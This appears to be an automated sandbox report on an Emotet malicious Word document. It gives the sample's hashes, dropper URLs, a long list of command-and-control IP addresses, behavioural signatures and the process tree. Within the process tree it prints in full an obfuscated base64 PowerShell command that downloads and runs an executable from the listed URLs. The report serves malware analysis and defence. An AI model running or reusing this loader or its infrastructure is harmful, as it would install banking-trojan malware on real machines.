emotet | b6a912df69f9643eb650746c7b191bc2b44d760e2a51bfaf8eca19a74241e06c

Analysis

max time kernel
137s
max time network
136s
platform
windows10_x64
resource
win10
submitted
21/09/2020, 21:51

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General

Target
emotet_e1_b6a912df69f9643eb650746c7b191bc2b44d760e2a51bfaf8eca19a74241e06c_2020-09-21__214915596704._doc.doc
Size 210KB
Sample200921-bcpqewkdee
SHA256 b6a912df69f9643eb650746c7b191bc2b44d760e2a51bfaf8eca19a74241e06c
MD5 e403f1e870fac623a73178ca747aa0d5
SHA1 875e5188d576d5b1c7e77567dfb5a2e07e2e3db3
SHA512 7d240a5adb62a4fa0a4ae118192d775ee186821a4f20585e2c6beb72922331b2b396d94eacc6131b432ae9f71aea16442399c512f51d506b2567afbbf0ebba58
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
https://waytoger.com/wp-admin/w/
exe.dropper
https://jaguarssus.xyz/wp-admin/GfU/
exe.dropper
https://learnkalmar.com/wp-includes/VSZ/
exe.dropper
http://tiendapablus.net/cgi-bin/SIr/
exe.dropper
https://prsaze.com/wp-admin/7a/
exe.dropper
https://www.campuscamarafp.com/wp-admin/N/
exe.dropper
https://infolockerz.com/wp-content/x/

Extracted

Family

emotet

76.168.54.203:80
51.38.124.206:80
38.88.126.202:8080
54.37.42.48:8080
5.196.35.138:7080
177.129.17.170:443
87.106.46.107:8080
68.183.190.199:8080
185.183.16.47:80
186.103.141.250:443
64.201.88.132:80
70.32.84.74:8080
68.69.155.181:80
82.76.111.249:443
111.67.12.221:8080
60.93.23.51:80
104.131.41.185:8080
92.24.50.153:80
191.182.6.118:80
61.197.92.216:80
213.197.182.158:8080
137.74.106.111:7080
138.97.60.141:7080
187.162.248.237:80
110.142.219.51:80
51.159.23.217:443
192.241.143.52:8080
190.24.243.186:80
51.255.165.160:8080
212.71.237.140:8080
190.115.18.139:8080
174.113.69.136:80
178.250.54.208:8080
190.2.31.172:80
45.16.226.117:443
50.121.220.50:80
217.13.106.14:8080
217.199.160.224:7080
80.11.164.185:80
172.104.169.32:8080
77.90.136.129:8080
123.51.47.18:80
82.230.1.24:80
74.58.215.226:80
185.94.252.27:443
181.30.61.163:443
111.67.77.202:8080
96.227.52.8:443
2.36.95.106:80
78.249.119.122:80
209.236.123.42:8080
185.215.227.107:443
188.135.15.49:80
83.169.21.32:7080
96.245.123.149:80
216.47.196.104:80
50.28.51.143:8080
5.189.178.202:8080
74.136.144.133:80
72.47.248.48:7080
190.190.148.27:8080
189.2.177.210:443
98.13.75.196:80
185.178.10.77:80
181.129.96.162:8080
67.247.242.247:80
170.81.48.2:80
199.203.62.165:80
204.225.249.100:7080
77.106.157.34:8080
68.183.170.114:8080
45.46.37.97:80
70.32.115.157:8080
190.163.31.26:80
94.176.234.118:443
95.9.180.128:80
104.131.103.37:8080
35.143.99.174:80
91.105.94.200:80
190.6.193.152:8080
155.186.0.121:80
219.92.13.25:80
12.162.84.2:8080
220.109.145.69:80
177.74.228.34:80
77.238.212.227:80
61.92.159.208:8080
186.70.127.199:8090
45.33.77.42:8080
152.169.22.67:80
192.241.146.84:8080
185.94.252.12:80
177.73.0.98:443
65.36.62.20:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3332	1660	powershell.exe	73

Emotet Payload 6 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/2360-16-0x0000000000530000-0x0000000000542000-memory.dmp	emotet
behavioral2/memory/2360-16-0x0000000000530000-0x0000000000542000-memory.dmp	emotet
behavioral2/memory/2360-17-0x00000000001F0000-0x0000000000200000-memory.dmp	emotet
behavioral2/memory/2360-17-0x00000000001F0000-0x0000000000200000-memory.dmp	emotet
behavioral2/memory/2172-20-0x0000000002070000-0x0000000002082000-memory.dmp	emotet
behavioral2/memory/2172-20-0x0000000002070000-0x0000000002082000-memory.dmp	emotet

Blacklisted process makes network request 2 IoCs

flow	pid	Process
14	3332	powershell.exe
16	3332	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
2360	Jn7xvio0.exe
2172	rdpendp.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\ndfetw\rdpendp.exe	Jn7xvio0.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3020	WINWORD.EXE
3020	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3332	powershell.exe
3332	powershell.exe
3332	powershell.exe
2172	rdpendp.exe
2172	rdpendp.exe
2172	rdpendp.exe
2172	rdpendp.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3332	powershell.exe

Suspicious use of SetWindowsHookEx 9 IoCs

pid	Process
3020	WINWORD.EXE
3020	WINWORD.EXE
3020	WINWORD.EXE
3020	WINWORD.EXE
3020	WINWORD.EXE
3020	WINWORD.EXE
3020	WINWORD.EXE
3020	WINWORD.EXE
3020	WINWORD.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3332 wrote to memory of 2360	3332	powershell.exe	81
PID 3332 wrote to memory of 2360	3332	powershell.exe	81
PID 3332 wrote to memory of 2360	3332	powershell.exe	81
PID 2360 wrote to memory of 2172	2360	Jn7xvio0.exe	83
PID 2360 wrote to memory of 2172	2360	Jn7xvio0.exe	83
PID 2360 wrote to memory of 2172	2360	Jn7xvio0.exe	83

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_b6a912df69f9643eb650746c7b191bc2b44d760e2a51bfaf8eca19a74241e06c_2020-09-21__214915596704._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3020

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -en JABNAGEAaQAzAHYAMwB2AD0AKAAoACcAQwBzACcAKwAnADcAcgB6ACcAKQArACcAMwAnACsAJwBsACcAKQA7AC4AKAAnAG4AZQB3ACcAKwAnAC0AaQB0AGUAJwArACcAbQAnACkAIAAkAGUAbgBWADoAVQBzAEUAUgBQAFIAbwBGAEkAbABlAFwAbwBxAHYASQBfADQARQBcAFoAZgBJADUAQwBLAFgAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABpAHIAZQBDAHQATwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAYABlAGAAYwBVAHIAaQBgAFQAeQBwAFIATwBgAFQATwBjAG8ATAAiACAAPQAgACgAJwB0AGwAJwArACgAJwBzADEAJwArACcAMgAnACkAKwAnACwAIAAnACsAKAAnAHQAbAAnACsAJwBzADEAMQAsACAAdAAnACkAKwAnAGwAcwAnACkAOwAkAFAANQA5AHYAcABhAHcAIAA9ACAAKAAnAEoAJwArACgAJwBuADcAeAB2ACcAKwAnAGkAbwAwACcAKQApADsAJABGAHMAagByAHIANQBsAD0AKAAoACcAVwBkAHAAJwArACcAMwAnACkAKwAnADYAJwArACcAbgA0ACcAKQA7ACQAVAA0AHIAcwBwADEAawA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAJwB7ADAAfQBPAHEAdgBpAF8ANABlAHsAJwArACcAMAB9AFoAJwArACgAJwBmACcAKwAnAGkANQBjACcAKQArACcAawB4AHsAJwArACcAMAAnACsAJwB9ACcAKQAgAC0ARgAgACAAWwBDAGgAQQByAF0AOQAyACkAKwAkAFAANQA5AHYAcABhAHcAKwAoACcALgBlACcAKwAnAHgAZQAnACkAOwAkAFEAZQByADkAeAB2AGgAPQAoACgAJwBTAHEAJwArACcAegAnACkAKwAnAHAAYQAnACsAJwBzAGsAJwApADsAJABHADkAbwBfAHUAYwBqAD0ALgAoACcAbgBlAHcALQBvAGIAagAnACsAJwBlAGMAJwArACcAdAAnACkAIABOAGUAVAAuAHcAZQBCAEMAbABJAEUATgB0ADsAJABRAG8AbwByAGsAdwBuAD0AKAAoACcAaAAnACsAJwB0AHQAcAAnACkAKwAoACcAcwAnACsAJwA6AC8ALwB3AGEAJwApACsAJwB5AHQAJwArACgAJwBvACcAKwAnAGcAZQByAC4AJwArACcAYwAnACsAJwBvAG0ALwB3AHAALQBhACcAKQArACgAJwBkAG0AaQBuAC8AdwAnACsAJwAvACcAKwAnACoAJwApACsAKAAnAGgAdAB0AHAAcwAnACsAJwA6ACcAKQArACgAJwAvAC8AJwArACcAagBhAGcAdQBhACcAKQArACgAJwByAHMAJwArACcAcwAnACsAJwB1AHMAJwArACcALgB4AHkAegAnACkAKwAnAC8AdwAnACsAKAAnAHAALQAnACsAJwBhAGQAbQAnACkAKwAnAGkAJwArACcAbgAnACsAJwAvAEcAJwArACgAJwBmAFUALwAqACcAKwAnAGgAdAAnACkAKwAnAHQAJwArACcAcABzACcAKwAoACcAOgAvAC8AJwArACcAbAAnACkAKwAnAGUAYQAnACsAKAAnAHIAJwArACcAbgBrACcAKQArACcAYQAnACsAJwBsACcAKwAoACcAbQBhAHIAJwArACcALgBjACcAKQArACcAbwBtACcAKwAoACcALwAnACsAJwB3AHAALQAnACsAJwBpAG4AYwBsACcAKQArACgAJwB1AGQAJwArACcAZQBzAC8AVgBTACcAKwAnAFoALwAqAGgAJwApACsAJwB0AHQAJwArACgAJwBwADoAJwArACcALwAvAHQAJwApACsAJwBpACcAKwAoACcAZQBuAGQAJwArACcAYQAnACkAKwAoACcAcABhAGIAbAB1AHMALgAnACsAJwBuACcAKwAnAGUAdAAnACkAKwAoACcALwBjACcAKwAnAGcAaQAtACcAKQArACcAYgAnACsAJwBpAG4AJwArACcALwAnACsAJwBTACcAKwAnAEkAcgAnACsAKAAnAC8AKgAnACsAJwBoAHQAdABwACcAKQArACgAJwBzACcAKwAnADoALwAvACcAKwAnAHAAcgBzAGEAJwApACsAJwB6ACcAKwAoACcAZQAuAGMAJwArACcAbwBtACcAKQArACgAJwAvAHcAJwArACcAcAAtAGEAJwArACcAZABtACcAKQArACgAJwBpAG4ALwA3ACcAKwAnAGEALwAqACcAKwAnAGgAdAB0ACcAKQArACcAcABzACcAKwAnADoALwAnACsAJwAvACcAKwAoACcAdwB3AHcALgBjAGEAbQBwACcAKwAnAHUAcwBjACcAKwAnAGEAJwArACcAbQBhACcAKQArACcAcgBhACcAKwAnAGYAJwArACgAJwBwAC4AYwBvAG0AJwArACcALwB3AHAALQAnACsAJwBhACcAKQArACgAJwBkAG0AaQBuACcAKwAnAC8ATgAvACoAJwArACcAaAB0ACcAKQArACgAJwB0ACcAKwAnAHAAcwAnACkAKwAnADoAJwArACcALwAnACsAKAAnAC8AJwArACcAaQBuACcAKwAnAGYAbwBsAG8AYwBrAGUAcgAnACkAKwAoACcAegAnACsAJwAuAGMAJwApACsAJwBvAG0AJwArACgAJwAvAHcAcAAtAGMAbwAnACsAJwBuACcAKQArACcAdAAnACsAJwBlACcAKwAoACcAbgB0ACcAKwAnAC8AJwApACsAJwB4AC8AJwApAC4AIgBTAHAAbABgAEkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEgAYwBuAGoAbAByAHgAPQAoACcATwBsACcAKwAoACcANQB5ADcAJwArACcAMwB0ACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQATwBfAGwAcQBjAGcAcQAgAGkAbgAgACQAUQBvAG8AcgBrAHcAbgApAHsAdAByAHkAewAkAEcAOQBvAF8AdQBjAGoALgAiAEQAYABvAHcAYABOAEwATwBhAGQARgBpAGAATABlACIAKAAkAE8AXwBsAHEAYwBnAHEALAAgACQAVAA0AHIAcwBwADEAawApADsAJABDADMAMABkADgAYgBjAD0AKAAoACcASAAnACsAJwBwADMAYQAnACkAKwAoACcAZgA4ACcAKwAnAGcAJwApACkAOwBJAGYAIAAoACgALgAoACcARwBlACcAKwAnAHQAJwArACcALQBJAHQAZQBtACcAKQAgACQAVAA0AHIAcwBwADEAawApAC4AIgBMAEUATgBHAGAAVABIACIAIAAtAGcAZQAgADIANwAxADkANwApACAAewAmACgAJwBJACcAKwAnAG4AdgBvAGsAZQAnACsAJwAtAEkAJwArACcAdABlAG0AJwApACgAJABUADQAcgBzAHAAMQBrACkAOwAkAFYAcwAzAGEAdQB1AGYAPQAoACcAVQAnACsAKAAnAG4AJwArACcAbQAyACcAKQArACgAJwB0ADAAJwArACcAMAAnACkAKQA7AGIAcgBlAGEAawA7ACQAUgBtAGkAdABnAHoAaQA9ACgAKAAnAFMAJwArACcAMAA3ACcAKQArACgAJwAxACcAKwAnAHgAdQAnACkAKwAnAHkAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABNADYAYwBqADIAYQB0AD0AKAAnAFUAeAAnACsAKAAnAGUAJwArACcAegAxACcAKQArACcANwAzACcAKQA=
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3332
- C:\Users\Admin\Oqvi_4e\Zfi5ckx\Jn7xvio0.exe
  "C:\Users\Admin\Oqvi_4e\Zfi5ckx\Jn7xvio0.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of WriteProcessMemory
  PID:2360
- - C:\Windows\SysWOW64\ndfetw\rdpendp.exe
    "C:\Windows\SysWOW64\ndfetw\rdpendp.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:2172

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2172-20-0x0000000002070000-0x0000000002082000-memory.dmp

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memory/2360-17-0x00000000001F0000-0x0000000000200000-memory.dmp

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memory/2360-16-0x0000000000530000-0x0000000000542000-memory.dmp

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memory/3020-5-0x0000020F93CFB000-0x0000020F93D00000-memory.dmp

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memory/3020-9-0x0000020F93EC5000-0x0000020F93EC7000-memory.dmp

Download

memory/3020-8-0x0000020F93EC9000-0x0000020F93ECE000-memory.dmp

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memory/3020-7-0x0000020F93EC7000-0x0000020F93EC9000-memory.dmp

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memory/3020-6-0x0000020F9195B000-0x0000020F91960000-memory.dmp

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memory/3020-0-0x0000020F891B0000-0x0000020F89876000-memory.dmp

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memory/3020-4-0x0000020F93CF9000-0x0000020F93CFB000-memory.dmp

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memory/3020-3-0x0000020F93CFB000-0x0000020F93D00000-memory.dmp

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memory/3020-2-0x0000020F93CF9000-0x0000020F93CFB000-memory.dmp

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memory/3020-1-0x0000020F93CFB000-0x0000020F93D00000-memory.dmp

Download

memory/3332-10-0x00007FFCB69C0000-0x00007FFCB73AC000-memory.dmp

Download

memory/3332-11-0x000001E7E6210000-0x000001E7E6211000-memory.dmp

Download

memory/3332-12-0x000001E7E6400000-0x000001E7E6401000-memory.dmp

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